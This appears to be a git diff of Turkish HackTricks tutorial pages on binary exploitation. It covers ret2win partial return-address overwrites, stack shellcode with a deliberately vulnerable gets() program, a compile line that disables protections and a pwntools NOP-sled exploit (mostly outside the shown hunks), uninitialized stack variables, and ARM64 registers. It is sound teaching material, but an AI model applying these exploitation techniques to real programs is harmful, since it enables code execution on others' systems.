Başlangıçta, pc kaydedicisinin depolandığı yığın adresini alarak başlayın:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
@ -121,9 +121,11 @@ p.send(payload)
print(p.recvline())
p.close()
```
### Off-by-2
<figure><img src="../../../.gitbook/assets/image (1208).png" alt="" width="375"><figcaption></figcaption></figure>
Tüm dönüş adresini üzerine yazmak yerine, **sadece son 2 baytı** `0x06c4` ile üzerine yazacağız.
### Off-by-1
Aslında bu, yığında depolanan PC'deki off-by-2'ye daha çok benzeyecek. Tüm dönüş adresini üzerine yazmak yerine, **sadece son 2 baytı** `0x06c4` ile üzerine yazacağız.
```python
from pwn import *
@ -145,15 +147,17 @@ p.close()
```
<figure><img src="../../../.gitbook/assets/image (1209).png" alt="" width="375"><figcaption></figcaption></figure>
ARM64'de başka bir off-by-one örneği [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) adresinde bulunabilir, bu gerçek bir off-by-**one** durumudur ve kurgusal bir zafiyet içerir.
## PIE ile
{% hint style="success" %}
Binary **-no-pie** argümanı olmadan derleyin
Binary **`-no-pie` argümanı olmadan** derlenmelidir
{% endhint %}
### 2 hata ile
### Off-by-2
Sızıntı olmadan kazanan işlevin tam adresini bilmiyoruz ancak işlevin binary'deki ofsetini biliyoruz ve üzerine yazdığımız dönüş adresinin zaten yakın bir adrese işaret ettiğini bildiğimizden, bu durumda kazanma işlevine (**0x7d4**) olan ofseti sızdırmak ve sadece bu ofseti kullanmak mümkündür:
Sızıntı olmadan kazanan fonksiyonun tam adresini bilmesek de, fonksiyonun binary içindeki ofsetini ve üzerine yazdığımız dönüş adresinin zaten yakın bir adrese işaret ettiğini bilerek, bu durumda kazanma fonksiyonuna (**0x7d4**) olan ofseti sızdırmak ve sadece bu ofseti kullanmak mümkündür:
<figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="563"><figcaption></figcaption></figure>
```python
@ -177,14 +181,14 @@ p.close()
```
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**]'imiz(https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Temel Bilgiler
**Yığın kabuk kodu**, bir saldırganın zayıf bir programın yığınına kabuk kodu yazdığı ve ardından **Komut İşaretçisi (IP)** veya **Genişletilmiş Komut İşaretçisi (EIP)**'yi bu kabuk kodunun konumuna yönlendirdiği **binary exploitation** tekniğidir. Bu, yetkisiz erişim elde etmek veya hedef sistemde keyfi komutlar yürütmek için kullanılan klasik bir yöntemdir. İşte bu sürecin ayrıntıları, basit bir C örneği ve **pwntools** ile Python kullanarak buna karşılık gelen bir saldırı yazabileceğiniz şekilde bir açıklama.
**Yığın kabuk kodu**, bir saldırganın zayıf bir programın yığınına kabuk kodu yazdığı ve ardından **Komut İşaretçisi (IP)** veya **Genişletilmiş Komut İşaretçisi (EIP)**'yi bu kabuk kodunun konumuna yönlendirdiği **binary exploitation** tekniğidir. Bu, yetkisiz erişim elde etmek veya hedef sistemde keyfi komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte bu sürecin ayrıntıları, basit bir C örneği ve **pwntools** ile Python kullanarak buna karşılık gelen bir saldırıyı nasıl yazabileceğiniz.
### C Örneği: Zayıf Bir Program
@ -36,17 +36,17 @@ printf("Returned safely\n");
return 0;
}
```
Bu program, `gets()` fonksiyonunun kullanımından kaynaklanan bir tampon taşmasına karşı savunmasızdır.
Bu program, `gets()` fonksiyonunun kullanımından kaynaklanan bir tampon taşması saldırısına açıktır.
### Derleme
Bu programı derlemek için çeşitli korumaları devre dışı bırakarak (savunmasız bir ortamı simüle etmek için) aşağıdaki komutu kullanabilirsiniz:
Bu programı derlemek için çeşitli korumaları devre dışı bırakarak (zafiyetli bir ortamı simüle etmek için) aşağıdaki komutu kullanabilirsiniz:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: Yığın korumasını devre dışı bırakır.
* `-z execstack`: Yığını yürütülebilir yapar, yığında depolanan shellcode'un yürütülmesi için gereklidir.
* `-no-pie`: Konum Bağımsız Yürütülebilir'i devre dışı bırakır, shellcode'un bulunacağı bellek adresini tahmin etmeyi kolaylaştırır.
* `-no-pie`: Konum Bağımsız Yürütülebilir'i devre dışı bırakır, shellcode'un yerleşeceği bellek adresini tahmin etmeyi kolaylaştırır.
* `-m32`: Programı 32 bitlik yürütülebilir olarak derler, genellikle exploit geliştirme sürecinde basitlik için kullanılır.
### Pwntools Kullanarak Python Exploit'i
@ -80,34 +80,36 @@ p.interactive()
```
Bu betik, bir **NOP kaydırması**, **shellcode** ve ardından **EIP**'yi NOP kaydırmasına işaret eden bir adrese üzerine yazarak shellcode'un yürütülmesini sağlayan bir yük oluşturur.
**NOP kaydırması** (`asm('nop')`), yürütmenin tam adresinden bağımsız olarak shellcode'a "kaydırılmasını" sağlamak için kullanılır. `p32()` argümanını, NOP kaydırmasına inmek için tamponunuzun başlangıç adresine bir ofset ekleyerek ayarlayın.
**NOP kaydırması** (`asm('nop')`), yürütmenin tam adresinden bağımsız olarak shellcode'a "kaydırılmasını" sağlamak için kullanılır. `p32()` argümanını, tam adresinizin başlangıç adresine ve NOP kaydırmasına inmek için bir ofset ekleyerek ayarlayın.
## Korumalar
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) adresin her zaman aynı olması gerektiği için **devre dışı bırakılmalıdır** veya işlevin depolanacağı adres her zaman aynı olmayacak ve kazan işlevinin nerede yüklendiğini bulmak için bir sızıntıya ihtiyacınız olacaktır.
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır aksi takdirde tehlikeye düşmüş EIP dönüş adresi asla takip edilmeyecektir.
* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, o bölgenin yürütülemez olduğu için stack içindeki shellcode'un yürütülmesini engeller.
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) adresin her yürütmede güvenilir olması için **devre dışı bırakılmalıdır** veya işlevin depolanacağı adres her zaman aynı olmayacak ve kazan işlevinin nerede yüklendiğini bulmak için bir sızıntıya ihtiyacınız olacaktır.
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır veya tehlikeye atılan EIP dönüş adresi asla takip edilmeyecektir.
* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, stack içindeki shellcode'un yürütülmesini engelleyecektir çünkü bu bölge yürütülebilir olmayacaktır.
## Diğer Örnekler ve Referanslar
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64 bit, ASLR ile stack adres sızıntısı, shellcode yaz ve ona atla
* 64 bit, ASLR ile stack adres sızıntısı, shellcode yazma ve ona atlamak
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32 bit, ASLR ile stack sızıntısı, shellcode yaz ve ona atla
* 32 bit, ASLR ile stack sızıntısı, shellcode yazma ve ona atlamak
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32 bit, ASLR ile stack sızıntısı, çıkış çağrısını önlemek için karşılaştırma, değişkeni bir değerle üzerine yaz ve shellcode yazarak ona atla
* 32 bit, ASLR ile stack sızıntısı, çıkış çağrısını önlemek için karşılaştırma, değişkeni bir değerle üzerine yazma ve shellcode yazma ve ona atlamak
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, ASLR yok, stack'i yürütülebilir yapmak için ROP cihazı ve stack'teki shellcode'a atlamak
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan başlayarak AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı takip edin.
* **Hacking hilelerinizi paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek katkıda bulunun.
</details>

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile AWS hacklemeyi sıfırdan ileri seviyeye öğrenin!</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) ile tanışın
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -18,15 +18,22 @@ HackTricks'i desteklemenin diğer yolları:
Buradaki temel fikir, **başlatılmamış değişkenlerin belleğe atanan değeri alacaklarını anlamaktır.** Örnek:
* **Fonksiyon 1: `initializeVariable`**: Bir değişken `x` tanımlar ve bir değer atarız, diyelim ki `0x1234`. Bu eylem, bellekte bir yer ayırmak ve belirli bir değeri koymak gibidir.
* **Fonksiyon 2: `useUninitializedVariable`**: Burada, başka bir değişken `y` tanımlarız ancak ona herhangi bir değer atmayız. C'de başlatılmamış değişkenler otomatik olarak sıfıra ayarlanmaz. Bunun yerine, bellek konumlarında en son depolanan değeri korurlar.
* **Fonksiyon 1: `initializeVariable`**: Bir değişken `x` bildiriyoruz ve ona bir değer atıyoruz, diyelim ki `0x1234`. Bu eylem, bellekte bir yer ayırmak ve belirli bir değeri koymak gibidir.
* **Fonksiyon 2: `useUninitializedVariable`**: Burada, başka bir değişken `y` bildiriyoruz ancak ona herhangi bir değer atamıyoruz. C'de başlatılmamış değişkenler otomatik olarak sıfıra ayarlanmaz. Bunun yerine, bellek konumlarındaki son depolanan değeri korurlar.
Bu iki fonksiyonu **ardışık olarak** çalıştırdığımızda:
1. `initializeVariable` içinde, `x` bir değer atar (`0x1234`), belirli bir bellek adresini işgal eder.
2. `useUninitializedVariable` içinde, `y` tanımlanır ancak bir değer atılmaz, bu nedenle `x`'in hemen ardından bellek konumunu alır. `y`'yi başlatmadığımızdan, `x` tarafından kullanılan aynı bellek konumundaki son değeri "miras" alır.
1. `initializeVariable` içinde, `x` bir değer atandı (`0x1234`), bu belirli bir bellek adresini işgal eder.
2. `useUninitializedVariable` içinde, `y` bildirilir ancak bir değer ataması yapılmaz, bu nedenle `x`'in hemen ardından bellek yeri alır. `y`'yi başlatmadığımızdan, `x` tarafından kullanılan aynı bellek konumundan değeri "miras" alır, çünkü orada en son olan değer odur.
Bu davranış, düşük seviyeli programlamadaki önemli bir kavramı gösterir: **Bellek yönetimi önemlidir** ve başlatılmamış değişkenler, hassas verileri yanlışlıkla bellekte bırakabileceğinden, öngörülemeyen davranışlara veya güvenlik açıklarına yol açabilir.
Bu davranış, düşük seviyeli programlamada önemli bir kavramı gösterir: **Bellek yönetimi önemlidir** ve başlatılmamış değişkenler, hassas verileri yanlışlıkla bellekte bırakabileceğinden, öngörülemeyen davranışlara veya güvenlik açıklarına yol açabilir.
Başlatılmamış yığın değişkenleri çeşitli güvenlik riskleri oluşturabilir:
* **Veri Sızıntısı**: Hassas bilgiler, şifreler, şifreleme anahtarları veya kişisel detaylar gibi, başlatılmamış değişkenlerde saklanıyorsa, saldırganların bu verileri potansiyel olarak okumasına izin vererek açığa çıkabilir.
* **Bilgi Açıklaması**: Başlatılmamış değişkenlerin içeriği, programın bellek düzeni veya iç işleyişi hakkında detayları ortaya çıkarabilir, bu da saldırganların hedefe yönelik saldırılar geliştirmelerine yardımcı olabilir.
* **Çökmeler ve Kararsızlık**: Başlatılmamış değişkenleri içeren işlemler tanımsız davranışlara neden olabilir, program çökmelerine veya öngörülemeyen sonuçlara yol açabilir.
* **Keyfi Kod Yürütme**: Belirli senaryolarda, saldırganlar bu açıkları kullanarak programın yürütme akışını değiştirebilir ve onlara keyfi kod yürütme, uzaktan kod yürütme tehditlerini içerebilecek şekilde programı değiştirme imkanı verebilir.
### Örnek
```c
@ -61,5 +68,9 @@ return 0;
#### Nasıl Çalışır:
* **`initializeAndPrint` Fonksiyonu**: Bu fonksiyon bir tamsayı değişkeni olan `initializedVar`'ı bildirir, değer olarak `100` atar ve ardından değişkenin bellek adresini ve değerini yazdırır. Bu adım açıktır ve başlatılmış bir değişkenin nasıl davrandığını gösterir.
* **`demonstrateUninitializedVar` Fonksiyonu**: Bu fonksiyonda, başlatılmamış bir tamsayı değişkeni olan `uninitializedVar`'ı bildiririz. Değişkenin değerini yazdırmaya çalıştığımızda, çıktı rastgele bir sayı gösterebilir. Bu sayı, o bellek konumunda önceden bulunan veriyi temsil eder. Ortama ve derleyiciye bağlı olarak, gerçek çıktı değişebilir ve bazen güvenlik için bazı derleyiciler değişkenleri otomatik olarak sıfırlayabilir, ancak buna güvenilmemelidir.
* **`main` Fonksiyonu**: `main` fonksiyonu yukarıdaki iki fonksiyonu sırayla çağırarak, başlatılmış bir değişken ile başlatılmamış bir değişken arasındaki farkı gösterir.
* **`demonstrateUninitializedVar` Fonksiyonu**: Bu fonksiyonda, başlatılmamış bir tamsayı değişkeni olan `uninitializedVar`'ı bildiriyoruz. Değişkenin değerini yazdırmaya çalıştığımızda, çıktı rastgele bir sayı gösterebilir. Bu sayı, önceki bellek konumunda bulunan veriyi temsil eder. Ortama ve derleyiciye bağlı olarak, gerçek çıktı değişebilir ve bazen güvenlik için bazı derleyiciler değişkenleri otomatik olarak sıfırlayabilir, ancak buna güvenilmemelidir.
* **`main` Fonksiyonu**: `main` fonksiyonu yukarıdaki iki fonksiyonu sırayla çağırarak başlatılmış bir değişken ile başlatılmamış bir değişken arasındaki farkı gösterir.
## ARM64 Örneği
Bu, ARM64'te hiç değişmez çünkü yerel değişkenler de yığında yönetilir, [**bu örneği kontrol edebilirsiniz**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) burada bu gösterilmiştir.

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Sıfırdan Kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong>!</summary>
<summary><strong>Sıfırdan Kahraman'a kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong>!</summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 **Discord grubuna** katılın (https://discord.gg/hRep4RUj7f) veya **telegram grubuna** (https://t.me/peass) veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**.
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
</details>
@ -31,80 +31,80 @@ ARMv8 mimarisinde, İstisna Seviyeleri (EL'ler) olarak bilinen yürütme seviyel
* Bu en ayrıcalıklı seviyedir ve genellikle güvenli önyükleme ve güvenilir yürütme ortamları için kullanılır.
* EL3, güvenli ve güvensiz durumlar arasındaki erişimleri yönetebilir ve kontrol edebilir (güvenli önyükleme, güvenilir işletim sistemi vb.).
Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar sistemdeki farklı yönleri yönetmek için yapılandırılmış ve güvenli bir yol sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olarak sistemin güvenliğini ve sağlamlığını artırır.
Bu seviyelerin kullanımı, kullanıcı uygulamalarından en ayrıcalıklı sistem yazılımlarına kadar farklı sistem bileşenlerini yapılandırılmış ve güvenli bir şekilde yönetme olanağı sağlar. ARMv8'in ayrıcalık seviyelerine yaklaşımı, farklı sistem bileşenlerini etkili bir şekilde izole etmeye yardımcı olarak sistemin güvenliğini ve sağlamlığını artırır.
## **Registerlar (ARM64v8)**
ARM64'ün **31 genel amaçlı kaydı** bulunmaktadır, `x0` ile `x30` arasında etiketlenmiştir. Her biri **64 bitlik** (8 bayt) bir değer saklayabilir. Yalnızca 32 bitlik değerler gerektiren işlemler için, aynı kayıtlara `w0` ile `w30` adları kullanılarak 32 bitlik modda erişilebilir.
ARM64'ün **31 genel amaçlı registerı** bulunmaktadır, `x0` ile `x30` arasında etiketlenmiştir. Her biri **64 bit** (8 byte) bir değer saklayabilir. Yalnızca 32 bit değerler gerektiren işlemler için, aynı registerlar `w0` ile `w30` adları kullanılarak 32 bit modunda erişilebilir.
1. **`x0`** ile **`x7`** - Genellikle geçici kayıtlar olarak ve alt programlara parametre iletmek için kullanılır.
1. **`x0`** ile **`x7`** - Genellikle geçici registerlar olarak ve alt programlara parametre geçirme amaçlı kullanılır.
* **`x0`** ayrıca bir fonksiyonun dönüş verisini taşır.
2. **`x8`** - Linux çekirdeğinde, `x8` `svc` komutu için sistem çağrı numarası olarak kullanılır. **macOS'ta ise x16 kullanılır!**
3. **`x9`** ile **`x15`** - Daha fazla geçici kayıt, genellikle yerel değişkenler için kullanılır.
4. **`x16`** ve **`x17`** - **İçsel-prosedürel Çağrı Kayıtları**. Hemen değerler için geçici kayıtlar. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Procedure Linkage Table) kısayolları için kullanılır.
3. **`x9`** ile **`x15`** - Daha fazla geçici registerlar, genellikle yerel değişkenler için kullanılır.
4. **`x16`** ve **`x17`** - **İçsel-prosedürel Çağrı Registerları**. Hemen değerler için geçici registerlar. Ayrıca dolaylı fonksiyon çağrıları ve PLT (Procedure Linkage Table) kısayolları için kullanılır.
* **`x16`**, **macOS**'ta **`svc`** komutu için **sistem çağrı numarası** olarak kullanılır.
5. **`x18`** - **Platform kaydı**. Genel amaçlı bir kayıt olarak kullanılabilir, ancak bazı platformlarda bu kayıt platforma özgü kullanımlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya linux çekirdeğinde **yürütülen görev yapısına işaret etmek için**.
6. **`x19`** ile **`x28`** - Bunlar çağrıyı yapanın değerlerini koruması gereken çağrılan kayıtlardır, bu nedenle bunların değerleri yığında saklanır ve çağrıya geri dönmeden önce geri alınır.
7. **`x29`** - Yığın çerçevesini takip etmek için **çerçeve işaretçisi**. Bir işlev çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, **`x29`** kaydı yığında **saklanır** ve yeni çerçeve işaretçi adresi (**`sp`** adresi) bu kayıtta **saklanır**.
* Bu kayıt genel amaçlı bir kayıt olarak da kullanılabilir, ancak genellikle **yerel değişkenlere referans olarak** kullanılır.
8. **`x30`** veya **`lr`**- **Bağlantı kaydı**. Bir `BL` (Bağlantılı Dal) veya `BLR` (Kayıtlı Bağlantılı Dal) komutu yürütüldüğünde **dönüş adresini** tutar ve bu adresi bu kayıtta **`pc`** değerini saklayarak depolar.
* Diğer kayırlar gibi kullanılabilir.
* Eğer mevcut fonksiyon yeni bir fonksiyon çağıracak ve dolayısıyla `lr`'yi üzerine yazacaksa, başlangıçta bunu yığında saklar, bu epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi sakla, alan oluştur ve yeni `fp` al) ve sonunda geri alır, bu prolog (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi geri al ve dön).
5. **`x18`** - **Platform registerı**. Genel amaçlı bir register olarak kullanılabilir, ancak bazı platformlarda bu register platforma özgü amaçlar için ayrılmıştır: Windows'ta mevcut iş parçacığı ortam bloğuna işaretçi veya linux çekirdeğinde mevcut **yürütülen görev yapısına işaret etmek için**.
6. **`x19`** ile **`x28`** - Bu, çağrıyı yapanın değerlerini koruması gereken çağrılan registerlardır, bu nedenle bunların değerleri yığında saklanır ve çağrıya geri dönmeden önce geri alınır.
7. **`x29`** - Yığın çerçevesini takip etmek için **çerçeve işaretçisi**. Bir işlev çağrıldığında yeni bir yığın çerçevesi oluşturulduğunda, **`x29`** registerı **yığında saklanır** ve **yeni** çerçeve işaretçi adresi (**`sp`** adresi) bu registerda saklanır.
* Bu register genel amaçlı bir register olarak da kullanılabilir, ancak genellikle **yerel değişkenlere referans olarak** kullanılır.
8. **`x30`** veya **`lr`**- **Bağlantı registerı**. Bir `BL` (Bağlantılı Dal) veya `BLR` (Register ile Bağlantılı Dal) komutu yürütüldüğünde **dönüş adresini** tutar, bu da bu registerda **`pc`** değerini saklayarak gerçekleştirilir.
* Diğer registerlar gibi kullanılabilir.
* Eğer mevcut fonksiyon yeni bir fonksiyon çağıracak ve dolayısıyla `lr`'yi üzerine yazacaksa, bunu başlangıçta yığında saklar, bu epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` ve `lr`'yi sakla, alan oluştur ve yeni `fp` al) ve sonunda geri alır, bu prolog (`ldp x29, x30, [sp], #48; ret` -> `fp` ve `lr`'yi geri al ve dön).
9. **`sp`** - **Yığın işaretçisi**, yığının en üstünü takip etmek için kullanılır.
